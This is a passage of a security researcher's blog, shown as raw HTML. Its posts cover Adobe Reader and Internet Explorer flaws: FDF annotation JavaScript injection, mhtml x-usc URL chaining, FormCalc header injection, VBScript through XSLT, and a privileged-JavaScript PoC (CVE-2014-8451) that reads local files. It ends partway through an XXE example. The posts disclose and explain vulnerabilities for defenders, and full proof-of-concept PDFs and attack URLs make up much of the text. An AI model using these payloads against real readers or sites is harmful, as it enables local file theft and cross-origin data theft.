<span style="color: #252525; font-family: sans-serif;"><span style="font-family: inherit; font-size: 14px;"><br />
</span></span> <br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
/* English: JavaScript was blocked, to protect against security risk. */<br />
<br />
This makes the <i>JavaScript </i>key useless for an attacker as the victim will not allow the script to run.<br />
Let's keep reading the FDF specification.<br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-family: inherit; font-size: 14px;"><br />
</span></span> <br />
<h2>
Annotations</h2>
<div>
<br /></div>
<br />
<span style="font-family: inherit;">As I already mentioned FDF supports annotation. There are a lot of different annotations, the most known one being the comment annotation. Additionally you can add files, add sounds, stamps or strike-through text:</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheaIuLUDk3G6kn7n8mWlWLEiuRxhJ4GpDHazgEDfrgb5CCAXuoNWnY3642tCGlYJsLPzrMiXH1K8sB1oc-HAqHpNMyTgpusCJuU5B-ZTA4-ISbnxBvF9Qod8jedm1X36hFUzV4U_m0ReWJ/s1600/annots.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="75" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheaIuLUDk3G6kn7n8mWlWLEiuRxhJ4GpDHazgEDfrgb5CCAXuoNWnY3642tCGlYJsLPzrMiXH1K8sB1oc-HAqHpNMyTgpusCJuU5B-ZTA4-ISbnxBvF9Qod8jedm1X36hFUzV4U_m0ReWJ/s640/annots.PNG" width="540" /></a></div>
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><b style="color: black; font-family: "Times New Roman"; font-size: medium;"><br />
</b></span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> These annotations are not interesting regarding their functionality (besides the movie and screen annotations, as these allow to load flash files), but FDF supports a field called <i>Additional Actions</i> for annotations. This field allows to execute specific actions based on trigger events. PDF supports a lot of different events, the most useful for annotation is called PO: "An action to be performed when the page containing the annotation is opened."<br />
By combining this event + the JavaScript action we have another way to inject JavaScript. The following FDF uses the FreeText annotation to add a JavaScript action to it:<br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">%FDF-1.2</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">%âãÏÓ</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">1 0 obj</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;"><</FDF<<<span style="background-color: yellow;">/Annots[2 0 R]</span></span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/ID[<9DE1D53EE27B8342ABAF121AB257E7EA><4370C7654ACB0D429DF932C95FF78175>]</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">>>/Type/Catalog>></span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">endobj</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">2 0 obj</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;"><<</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/C[1.0 1.0 1.0]</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/Contents(HALL2O)</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/CreationDate(D:20160821215706+02'00')</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/DS(font: Helvetica,sans-serif 12.0pt; text-align:left; color:#E52237 )</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/F 4</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/M(D:20160821215711+02'00')</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/NM(e85d1cb2-2c79-40f5-a2a2-83708ab127c9)</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/Page 0</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/RC(<?xml version="1.0"?><body xmlns="http://www.w3.org/1999/xhtml" xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/" xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2" style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">al;font-family:Helvetica,sans-serif;font-stretch:normal"><p dir="ltr"><span style="font-family:Helvetica">Hjj</span></p></body>)</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/Rect[188.895 758.279 222.252 794.679]</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/Subj(Textfeld)</span><br />
<span style="background-color: yellow; color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/Subtype/FreeText</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/T(johnny)</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/Type/Annot</span><br />
<span style="background-color: yellow; color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/AA 8 0 R</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">>></span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">endobj</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br />
</span> <span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">8 0 obj</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;"><<</span><br />
<span style="background-color: yellow; color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/PO <<</span><br />
<span style="background-color: yellow; color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">/S /JavaScript</span><br />
<span style="background-color: yellow; color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;"> /JS (app.alert(2);)</span><br />
<span style="background-color: yellow; color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">>></span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">>></span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">endobj</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br />
</span> <span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">trailer</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;"><</Root 1 0 R>></span><br />
<br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;">%%EOF</span><br />
<span style="color: #252525; font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br />
</span> <br />
<span style="color: #252525; font-family: inherit;">Let's load it: </span><br />
<span style="font-family: inherit;"><b style="color: #252525;">URL:</b><span style="color: #252525;"> http://example.com/data.pdf#FDF=http://example.com/fdf/test2.fdf</span></span><br />
<span style="color: #252525; font-family: sans-serif; font-size: 14px;"><br />
</span> <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0gPvVl0vsdFTIL6NAaekx8MyF0c7VY5OA1udXjYw1OQHtm4kgZ5f5a2iFz-Rv9fjRaE6VC6aMUfMpwd5-1BswNvEwdrhu1JNr28oCmksaBSyD5rE_kPgY_GTV366bozk6ggfHNPlmsu9b/s1600/alert.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0gPvVl0vsdFTIL6NAaekx8MyF0c7VY5OA1udXjYw1OQHtm4kgZ5f5a2iFz-Rv9fjRaE6VC6aMUfMpwd5-1BswNvEwdrhu1JNr28oCmksaBSyD5rE_kPgY_GTV366bozk6ggfHNPlmsu9b/s320/alert.png" width="320" /></a></div>
<span style="color: #252525; font-family: sans-serif; font-size: 14px;"><br />
</span> <br />
<div>
<br /></div>
<br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;">As you can see the FreeText annotation is displayed and therefore JavaScript is executed inside the PDF. If you want to hide the injected annotation, modify the following key:</span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">/Rect[188.895 758.279 222.252 794.679] ==> </span></span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">/Rect[0 0 0 0]</span></span></span><br />
<span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br />
</span></span></span> <span style="color: #252525;">Adobe reader does not show any warning dialog so an attacker can send the following link to a logged in victim to steal his PDF information:</span><br />
<span style="color: #252525;"><br />
</span> <b><span style="color: #252525;">http://example.com/</span>data.pdf<span style="color: #252525;">#FDF=http://example.com/stealingFDF.fdf</span></b><br />
<b><span style="color: #252525;"><br />
</span></b><span style="color: red;"><b>Note:</b></span><br />
<div>
The JavaScript payload to actually steal the information is left as an exercise. </div>
<div>
<br /></div>
<span style="color: #252525;"><br />
</span> <br />
<h2>
<span style="color: #252525;">#FDF=<SAME ORIGIN FDF></span></h2>
<div>
The impact of this attack is reduced as the FDF needs to be on the same origin as the loading PDF. I came up with two possible scenarios to bypass/fulfill this requirement. First an open redirect vulnerability can be used to load the FDF. Adobe Reader follows redirects without any checks regarding the new location. Second the FDF allows 494 bytes before its header. Additionally the content-type is ignored. This could be used to create a polyglot, which could be uploaded to the vulnerable site. The second approach is difficult as Adobe Reader blacklists a lot of possible headers like JPG, PNG and other images. </div>
<span style="color: #252525;"><br />
</span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> <span style="color: #252525; font-family: sans-serif;"><span style="font-size: 14px;"><br />
</span></span> </div>
<div>
<i><br />
</i></div>
<div>
<i><br />
</i></div>
<div>
<i><br />
</i></div>
<div>
<i><br />
</i></div>
<div>
<i><br />
</i></div>
<div>
<i><br />
</i></div>
<div>
<br /></div>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-31025978470074599142016-02-12T07:07:00.000-08:002016-02-12T07:07:22.892-08:00MHTML: x-usc - A feature from the past<br />
<h2>
What is mhtml ?</h2>
<br />
For those who have never saved a complete web page in Internet Explorer, <i>mhtml </i>or its extensions <i>.mht</i> is most likely unknown. <i>MHTML </i>stands for <i>MIME Encapsulation of Aggregate HTML</i> <i>Documents</i>. Wikipedia describes it as a "web page archive format used to combine in a single document the <i>HTML </i>code and its companion resources that are otherwise represented by external links (such as images, Flash animations, Java applets, and audio files)".<br />
It caused some troubles in the past, but I am not talking about those problems.<br />
<br />
<br />
<h3>
mhtml: handler - Internet Explorer</h3>
<br />
The <i>mhtml </i>handler can be used to specify a specific file inside a .mht file. It is used like this:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;"><img src="mhtml:http://example.com/file.mht!/image/image.jpg"></span><br />
<br />
But it can do more than this. The interesting feature is how external links are implemented inside .mht files. It uses the <b>x-usc:</b> directive. This directive works always, no matter what file or what web page is addressed and also in the context of html pages. All you need is to specify the mhtml: handler.<br />
Copy & paste the following url into the address bar of Internet Explorer:<br />
<br />
<b><span style="background-color: yellow;">mhtml</span>:http://google.com/whatever!<span style="background-color: yellow;">x-usc</span>:http://bing.com</b><br />
<br />
Look closely at the requests IE will send. It will fetch <i>google.com</i> as well as <i>bing.com</i>, which is then displayed. This can be concatenated even more:<br />
<span style="background-color: yellow;"><br /></span>
<span style="background-color: yellow;">mhtml</span>:http://google.com/blubb!<span style="background-color: yellow;">x-usc:mhtml</span>:http://bing.com/dolphin!<span style="background-color: yellow;">x-usc</span>:http://example.com<br />
<br />
Side Note: Edge does not recognize <i>mhtml</i>: via Copy&Paste. But when you change the location via <i>JavaScript </i>to a <i>mhtml</i>: uri, it works the same as in IE.<br />
<br />
Of course this feature can be used in img tags, iframe, embed etc. Also any redirects in any of the concatenated web sites will be followed.<br />
<br />
Have Fun playing with this feature, I have not discovered any important vulnerability so far :/<br />
<br />Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-35560340351269353872015-05-26T04:35:00.000-07:002020-01-29T13:08:13.523-08:00PDF - Mess with the web<h2>
<br />
</h2>
<h2>
PDF - Mess with the web</h2>
<br />
In this post I am going to talk about the vulnerabilities I found during the research for my AppSec Talk in Amsterdam.<br />
<br />
<a href="https://drive.google.com/open?id=1T1bcgcAZZhdEGYV12aC3xy_9DBAdFCPG">Presentation</a><br />
<br />
<h3>
Javascript execution via GotoE</h3>
PDF supports a lot of different Actions. These actions can be used to execute PDFs Javascript, change the location of the document, open a print dialog etc.<br />
One of the action is the so called <b>GotoE</b> action. This action is able to change the location of the document eg.<i> /GotoE /F</i> (http://example.com). Normally handlers like <b>javascript:</b> are forbidden to prevent XSS attacks. This protections seems not in place if a PDF is loaded via an <i><embed></i> or <i><object></i> tag. If a PDF specifies a location like /GotoE /F (javascript:alert(location)) the javascript will be executed in the context of the embedding page.<br />
<br />
<h3>
Formcalc and header manipulation</h3>
I already wrote about the capability of formcalc to <a href="http://insert-script.blogspot.co.at/2014/12/multiple-pdf-vulnerabilites-text-and.html">read same origin files</a>.<br />
The formcalc language offers another feature, which is quite powerful.<br />
The POST function has five parameters, the last one lets you specify any http headers you want. You can set ANY header you want (besides the USER-Agent) and they replace the header a browser would send normally like a different Host header, Content-Type, Content-Length, Referer etc.<br />
<br />
Note: You can use this so send specially crafted requests cross origin, as long as you don't care about the response. When a POST with custom headers is sent same origin but the response is a 307 temp. redirect, Acrobat Reader will follow the redirect, preserve the headers and send the request but you won't be able to read the response.<br />
<pre class="xml" name="code">% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% a little bit modified to show possible header injection via formcalc
%PDF-1. % can be truncated to %PDF-\0
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
Post("http://sameOrigin.com/index.html","YOUR POST DATA","text/plain","utf-8","Content-Type: Dolphin&#x0d;&#x0a;Test: AAA")
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
</pre>
<br />
<h3>
XXE</h3>
I found two possible ways to use external entities in PDF. The payloads are good documented in my presentation so I am not going to describe here more.<br />
<br />
<h3>
Protection</h3>
To protect yourself it is recommended to enable the Protected View in Adobes security settings. This will prevent the presented XXEs attacks. It is also possible to disable the Javascript support in the pdf reader. Most PDFs should work fine without the support of JS.<br />
<br />
<br />
<br />
<br />Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-81121209460159002162015-04-21T06:19:00.001-07:002015-04-21T06:32:50.477-07:00VBScript Support in Spartan<br />
<h2>Windows 10 - Spartans forgotten VBScript support</h2><br />
<a href="http://www.smashingmagazine.com/2015/01/26/inside-microsofts-new-rendering-engine-project-spartan/">Taken from</a>:<br />
<blockquote class="tr_bq"><i> [...] Gone were document modes. Removed was the subsystem responsible for emulating IE8 layout quirks. <b>VBScript</b> eliminated. </i></blockquote><br />
I really liked to read that Spartan finally dropped VBScript support completely. But of course I was curious if this is really the case. Maybe they have forgotten a feature, in a different context than html, which supports VBScript too.<br />
Because you are reading this blog entry right now it is obvious they did ;)<br />
<br />
<h3><b>urn:schemas-microsoft-com:xslt</b></h3><br />
I was playing around with XML and XSLT and the possible attack vectors when I came across this interesting msdn page: <a href="https://msdn.microsoft.com/en-us/library/ms256042%28v=vs.110%29.aspx">msxsl:script</a>.<br />
<br />
Internet Explorer and Spartan support a tag in XSLT, which is called msxsl:script. It can be used to call JScript or VBscript in XSLT and use the return value.<br />
You don't have access to the DOM etc, but native VBScript functions still work in Spartan.<br />
<br />
Note: IE 11 in Edge mode will execute the VBScript too.<br />
<br />
Poc:<br />
<br />
<u><b>xml_stylesheet.xml</b></u><br />
<pre name="code" class="xml"><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="xml_stylesheet.xsl" type="text/xsl"?>
<catalog>
<cd>
<title>Empire Burlesque</title>
<artist>Bob Dylan</artist>
</cd>
</catalog>
</pre><br />
<u><b>xml_stylesheet.xsl</b></u><br />
<pre name="code" class="xml"><?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="VBScript" implements-prefix="user">
Function xml()
xml = Timer
End Function
</msxsl:script>
<xsl:template match="/">
<html>
<body>
<h2><xsl:value-of select="user:xml()"/>My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th style="text-align:left">Title</th>
<th style="text-align:left">Artist</th>
</tr>
<xsl:for-each select="catalog/cd">
<tr>
<td><xsl:value-of select="title"/></td>
<td><xsl:value-of select="artist"/></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
</pre><br />
<u><b>Result</b></u><br />
<pre name="code" class="xml"><html xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
<body>
<h2>55791.859375My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th style="text-align:left">Title</th>
<th style="text-align:left">Artist</th>
</tr>
<tr>
<td>Empire Burlesque</td>
<td>Bob Dylan</td>
</tr>
</table>
</body>
</html>
</pre>Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-83607269366901902572014-12-13T06:34:00.000-08:002020-01-29T14:08:19.638-08:00Multiple PDF Vulnerabilities - Text and Pictures on Steroids<br />
/*UPDATE */<br />
<span class="screen-name"><a class="pretty-link js-nav" data-send-impression-cookie="true" dir="ltr" href="https://twitter.com/irsdl"><s>@</s>irsdl</a> brought two import links to my attention:</span><span class="follow-status"></span><br />
<span class="screen-name">2010 formcalc: <a href="http://t.co/6OfGLa9Cu1">http://t.co/6OfGLa9Cu1</a></span><br />
2013 XXE + SOP Bypass: http://t.co/VZMSVg3HtN<br />
<br />
It seems like Adobe knew about the SOP issue since January 2013.<br />
I rediscovered the SOP Bypass + formcalc feature.<br />
<br />
<br />
<br />
I had the pleasure to talk at the HackPra in Bochum on 22.10 this year.<br />
My topic was about Adobe Reader and the vulnerabilites I found in version 11.0.09. The Adobe PSIRT team asked me to wait until they released a patch for the presented issues.<br />
Adobe was informed on the 7th of Oktober and now the patch finally arrived. The link of the hackpra talk will be posted here and on twitter(@insertscript) as soon as it is available on youtube.<br />
<br />
Important Note: If you want to test a PoC, your IE needs to be configured to open PDFs inside the browser. Sometimes IE opens PDFs outside of the browser context, which breaks PoCs, which rely on this context.<br />
<br />
<br />
<h3>
GotoE or GotoR - No Protocol Restrictions</h3>
Status: <span style="color: red;">Unfixed</span><br />
Reality: 50% fixed<br />
<br />
The PDF standards defines a list of valid ActionTypes. Two of them, GotoE and GotoR, are used to<br />
tell PDF to load PDFs from a different location.<br />
Adobe Readers does not enforce protocol restriction correctly, which makes it possible to change the location to<br />
file:///,mk-its: etc. They fixed it for GotoR but GotoE still works. <br />
In context of webbrowsers it gives you the possibility to iframe the local file system etc.<br />
Javascript and VBscript were forbidden, so no XSS possibility :/<br />
<pre><code class="html">%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
7 0 obj
<<
/Type /Action
/S /GoToE /F (file:///C:/) /D (Chapter 1)
>>
endobj
trailer
<<
/Root 1 0 R
>>
</code></pre>
<div>
<br /></div>
<br />
<h3>
Reader 11 vulnerability in predefined privileged Javascript functions (CVE-2014-8451)</h3>
Status: <span style="color: green;">fixed</span><br />
Reality: fixed<br />
<br />
Before I am going to explain the vulnerability you should have a look at another vulnerability<br />
in the privileged Javascript functions this year. It explains the concept of privileged Javascript very well <br />
<a href="https://molnarg.github.io/cve-2014-0521/">https://molnarg.github.io/cve-2014-0521/</a><br />
<br />
There are two major steps to get privileged Javascript execution:<br />
1) Get our function marked as a trusted or trust propagator function<br />
2) After it is marked as a trust propagator, get it called by an already trusted function.<br />
<br />
The first step is achieved via calling the function app.trustPropagatorFunction with a function as the parameter.<br />
To be able to use it, you already need to be in a trusted code execution. It sounds unrealistic to pass all these requirements,<br />
but one specific predefined function helped a lot. See yourself:<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhompmp1n-atRJKRRcESniD0wh403GSAAXhAvUtceyDN16kZo7UzokR04rO5o8ZasgkD95pK9rPBNSIjgd3rRPxwOljvP4wXaSfgMa6o7WKK3MZV_6vEhxnYW70Jg53ShBnBplnR6lxPX82/s1600/js_pr_1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="193" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhompmp1n-atRJKRRcESniD0wh403GSAAXhAvUtceyDN16kZo7UzokR04rO5o8ZasgkD95pK9rPBNSIjgd3rRPxwOljvP4wXaSfgMa6o7WKK3MZV_6vEhxnYW70Jg53ShBnBplnR6lxPX82/s1600/js_pr_1.png" width="400" /></a><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
The only use of this function is to iterace over an object and mark all properties, which are functions, as a trustpropagator function.<br />
Lets say, this wasn't the best idea ;)<br />
The first major step is done.<br />
Now we need to get a trusted function to call our marked function. If you are familiar with Javascript you know that this is not that difficult to achieve.<br />
Lets have a look at the following pre defined function:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF9B0luWfk76-dvFmUfN9iotp9y4BjKWVtafORAbpJTtIPaNRjA_PcOC_wja-h3qC34gD395rJWWeyRdV5ChlIPkgC-qitCUegqN6_NObQicPBQiEJBYWP_z3G6RANPUzUJAcRZeExthaH/s1600/js_pr_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF9B0luWfk76-dvFmUfN9iotp9y4BjKWVtafORAbpJTtIPaNRjA_PcOC_wja-h3qC34gD395rJWWeyRdV5ChlIPkgC-qitCUegqN6_NObQicPBQiEJBYWP_z3G6RANPUzUJAcRZeExthaH/s1600/js_pr_2.png" width="400" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
We can influence doc.path.match and let it point to our trustedproperty function.<br />
As soon as it gets called, we are in privileged Javascript mode, so we can read local files as an example.<br />
The PoC reads a local file from C:\test.txt:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPllTZiYRzYctzsoqbtjcs8abr9jgi_1N55lV_oayJtGgyeZirB_Irlmpqsuyv4oBlvkx0Rw49qo1I0ooJeTNgqtuD2Yy5Y19xK8kIMHf9aVfBwEfL9usHuCu06-pQAxO-iGUrx-EgDa43/s1600/js_pr_3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPllTZiYRzYctzsoqbtjcs8abr9jgi_1N55lV_oayJtGgyeZirB_Irlmpqsuyv4oBlvkx0Rw49qo1I0ooJeTNgqtuD2Yy5Y19xK8kIMHf9aVfBwEfL9usHuCu06-pQAxO-iGUrx-EgDa43/s1600/js_pr_3.png" width="400" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Fix: It seems like Adobe disabled/protects app.trustPropagatorFunction, because it triggers a security exception now.<br />
<br />
<br />
<pre><code class="html">%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
function test(a)
{
app.beginPriv();
var file = '/c/test.txt';
var secret = util.stringFromStream(util.readFileIntoStream(file, false));
app.alert(secret);
app.endPriv();
}
obj={path: {match: test}, root: test};
obj=ANTrustPropagateAll(obj);
ANStartApproval(obj);
)
>>
endobj
trailer
<<
/Root 1 0 R
>>
</code></pre>
<div>
<br /></div>
<br />
<h3>
Javascript function in Reader can be used to read data from external entities (CVE-2014-8452)</h3>
Status: Fixed<br />
Reality: <span style="color: red;">Not Fixed</span><br />
<br />
This one is about a simple XXE I discovered.<br />
I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in<br />
XMLData.parse. It was possible to use external entities and reference them.<br />
I read the specification and it turns out there are more functions than "parse" to read XML.<br />
I created a simple xml file, which references an url from the same domain and parsed it with loadXML.<br />
It worked:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLwb-mul8E3Ew8l7h7V9cbNtheznEV5t425NZND3Lcjgem5rZyRnreZJ7u4tkKkHxph-AUwWn41wOAmUcqmJbpcXbxnU3_nPYoWbLS4XOBRuXfT3Pq5U8h9o1WTR_Dz3W4LdiwphjyHbFr/s1600/xxe.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLwb-mul8E3Ew8l7h7V9cbNtheznEV5t425NZND3Lcjgem5rZyRnreZJ7u4tkKkHxph-AUwWn41wOAmUcqmJbpcXbxnU3_nPYoWbLS4XOBRuXfT3Pq5U8h9o1WTR_Dz3W4LdiwphjyHbFr/s1600/xxe.png" width="400" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<pre><code class="html">7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
